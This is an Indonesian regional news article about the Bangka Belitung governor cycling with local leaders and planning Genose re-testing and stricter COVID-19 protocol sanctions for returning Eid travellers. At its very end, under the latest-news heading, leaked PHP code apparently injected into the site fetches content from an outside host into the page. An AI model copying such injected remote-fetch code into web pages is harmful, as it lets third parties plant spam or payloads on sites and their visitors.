Gowes Bareng Forkopimda, Gubernur Bahas Penanganan Arus Mudik Balik

Sabtu, 15 Mei 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info l Pangkalpinang – Gubernur Kepulauan Bangka Belitung (Babel) Erzaldi Rosman, mengajak unsur Forum Koordinasi Pimpinan Daerah (Forkopimda), untuk mengisi waktu luang dengan gowes bersama.

Mengambil start dari Rumah Dinas Gubernur, rute yang dilewati rombongan melewati Bandara Depati Amir, hingga ke arah Jalan Koba, menuju Semabung, hingga Jembatan Emas, dan finish di Lapangan Tembak Perbakin, dengan panjang rute kurang lebih mencapai 20 kilometer, Sabtu (15/5/2021).

Bersepeda saat ini menjadi tren di kalangan masyarakat, karena merupakan olahraga yang menyenangkan.

Dengan bersepeda di pagi hari, bisa menghirup udara segar, sehingga dapat mengurangi stres dan depresi, serta meningkatkan rasa bahagia.

Baca Juga:  Wabup Cirebon Hadiri Kegiatan IK-CEPA dan UMKM Daerah

Apabila perhatikan orang yang mengayuh pedal di jalanan, ekspresi wajahnya terlihat bahagia.

Sembari bersepeda, Gubernur juga melakukan rapat kecil bersama Forkopimda, membahas penanganan arus mudik balik.

Di mana masyarakat yang kembali dari luar Pulau Babel, akan diperiksa kembali saat tiba menggunakan alat tes Genose C19, sikap ini diambil oleh Pemprov Babel untuk menekan penyebaran  COVID-19 di Babel.

“Tadi kita melakukan rapat kecil membahas penanganan arus mudik balik. Nantinya kepada masyarakat yang datang dari luar Pulau Bangka dan Belitung, sekalipun mereka sudah mendapat surat pemeriksaan dari tempat asal dan sudah di swab antigen/PCR/Genose, sampai di Babel akan dilaksanakan pemeriksaan ulang dengan Genose,” terang Gubernur Erzaldi di Lapangan Perbakin.

Baca Juga:  Presiden Jokowi Terima PM Lee di Bintan

Menurut Keterangan Gubernur, apabila di test kembali ternyata ada yang positif, maka akan langsung dikarantina selama lima hari.

Dirinya mengatakan akan mengeluarkan surat berkenaan hasil diskusi tersebut, agar dapat diimplementasikan kepada setiap maskapai maupun kepada penyelenggara di pelabuhan.

Dengan masih tingginya peningkatan kasus Covid-19 di Babel, tak henti-henti nya Gubernur mengimbau kepada masyarakat untuk mematuhi dan selalu menerapkan protokol kesehatan.

“Imbauan ini kita lakukan tak pernah putus. Kemudian kami berupaya mempercepat revisi perubahan Perda No. 10 Tahun 2020 agar mencantumkan pasal sanksi tegas kepada pelanggar protokol kesehatan. Kita berupaya agar ini tidak berlarut-larut karena berdasarkan survey tingkat kesadaran masyarakat Babel untuk mengenakan masker rendah sekali hanya 72%,” terangnya.

Baca Juga:  Pj Ketua PKK Bojonegoro Dorong Pemanfaatan Pekarangan untuk Ketahahan Pangan

Karena itu, setelah liburan lebaran ini, Pemprov Babel akan mendorong DPRD untuk segera mengesahkan revisi Perda No. 10 Tahun 2020 tentang Adaptasi Kebiasaan Baru dalam Pencegahan dan Pengendalian Covid-19 agar ada sanksi tegas bagi masyarakat yang abai dengan melanggar protokol kesehatan. (Jenny/Andri)

Sumber: Diskominfo Babel

Keluarga Besar Redaksi JKTV Mengucapkan Selamat Hari Raya Idul Fitri 1442H, Mohon Maaf Lahir Batin

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat
Perdana SEKDA Tanjab Barat berikan Arahan dalam Rakor KADES dan BPD
Bupati Tanjab Barat lantik Hermansyah sebagai Sekda

Berita Terkait

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Senin, 23 September 2024 - 21:52 WIB

KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 

Minggu, 22 September 2024 - 11:04 WIB

Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>